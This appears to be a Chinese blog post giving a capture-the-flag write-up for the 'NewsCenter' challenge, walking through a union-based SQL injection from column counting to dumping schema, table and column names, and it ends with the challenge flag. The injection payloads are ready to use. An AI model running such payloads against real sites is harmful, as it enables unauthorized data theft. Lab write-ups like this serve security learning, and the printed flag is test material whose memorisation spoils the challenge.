攻防世界NewsCenter

原创

听门外雪花飞 于 2022-01-23 18:47:11 发布 577 收藏

分类专栏： ctf刷题纪 文章标签： sql 数据库 mysql

本文链接：https://blog.csdn.net/weixin_52268949/article/details/122655225

NewsCenter

打开题目是一个搜索框我们首先尝试一下sql注入

判断了一下是使用''进行包裹的字符型sql注入

然后我们需要判断数据库列数

```
1' order by 3#
```

回显正常但by4的时候回显就不正常了

所以判断数据库有三列

下面就是一些常规操作了，首先看看回显位

```
-1' union select 1,2,3#
```

写-1的原因是不要让正常数据影响到我们注入测出的结果

测试数据库

```
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#
```

测试表

```
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#
```

测试字段

```
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#
```

下面把字段值测出来即可

```
-1' union select 1,2,fl4g from news.secret_table#
```

2

QCTF{sq1_inJec7ion_ezzz}